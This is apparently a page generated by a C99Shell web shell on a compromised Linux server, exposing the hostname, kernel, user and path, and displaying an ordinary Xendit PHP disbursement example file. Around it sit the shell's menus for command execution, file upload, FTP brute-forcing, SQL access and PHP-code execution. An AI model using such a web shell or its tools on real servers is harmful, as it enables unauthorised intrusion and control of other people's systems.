!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/xendit/xendit-php/examples/   drwxr-xr-x
Free 28.15 GB of 117.98 GB (23.86%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     DisbursementsPHPExample.php (2.32 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * DisbursementsPHPExample.php
 * php version 7.2.0
 *
 * @category Example
 * @package  Xendit/Examples
 * @author   Ellen <ellen@xendit.co>
 * @license  https://opensource.org/licenses/MIT MIT License
 * @link     https://api.xendit.co
 */

use Xendit\Xendit;

require 
'vendor/autoload.php';

Xendit::setApiKey('SECRET_API_KEY');

$params = [
    
'reference_id' => 'reference_id',
    
'currency' => 'PHP',
    
'amount' => 15000,
    
'channel_code' => 'PH_BDO'// if you do not know the channel code. You can find it from DisbursementChannels
    
'account_name' => 'Test',
    
'account_number' => '1234567890',
    
'description' => 'PHP Disbursement from Example',
    
'xendit-idempotency-key' =>  time()
];

$createDisbursements \Xendit\DisbursementsPHP::createPHPDisbursement($params);
var_dump($createDisbursements);

// create php disbursement with beneficiary optional field
$beneficiary = [
    
'type' => 'INDIVIDUAL',
    
'given_names' => 'Test Name',
    
'middle_name' => 'middle_name',
    
'surname' => 'surname',
    
'business_name' => 'business_name',
    
'street_line1' => 'street_line1',
    
'street_line2' => 'street_line2',
    
'city' => 'city',
    
'province' => 'province',
    
'state' => 'state',
    
'country' => 'country',
    
'zip_code' => '12345',
    
'mobile_number' => '9876543210',
    
'phone_number' => '987654321',
    
'email' => 'email@test.com'
];
$params['beneficiary'] = $beneficiary;
$params['xendit-idempotency-key'] = time();
$createDisbursementsWithbeneficiary \Xendit\DisbursementsPHP::createPHPDisbursement($params);
var_dump($createDisbursementsWithbeneficiary);

// create php disbursement with receipt_notification optional field. We can pass either of them or both.
$receiptNotification = [
    
'email_to' => ['test@test.com'],
    
'email_cc' => [],
    
'email_bcc' => []
];
$params['xendit-idempotency-key'] = time();
$params['receipt_notification'] = $receiptNotification;
$createDisbursementsWithReceipt \Xendit\DisbursementsPHP::createPHPDisbursement($params);
var_dump($createDisbursementsWithReceipt);

$id $createDisbursements['id'];
$getDisbursements \Xendit\DisbursementsPHP::getPHPDisbursementByID($id);
var_dump($getDisbursements);

$reference_id 'reference_id';
$getDisbursementsByRef \Xendit\DisbursementsPHP::getPHPDisbursementsByReferenceID($reference_id);
var_dump($getDisbursementsByRef);

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--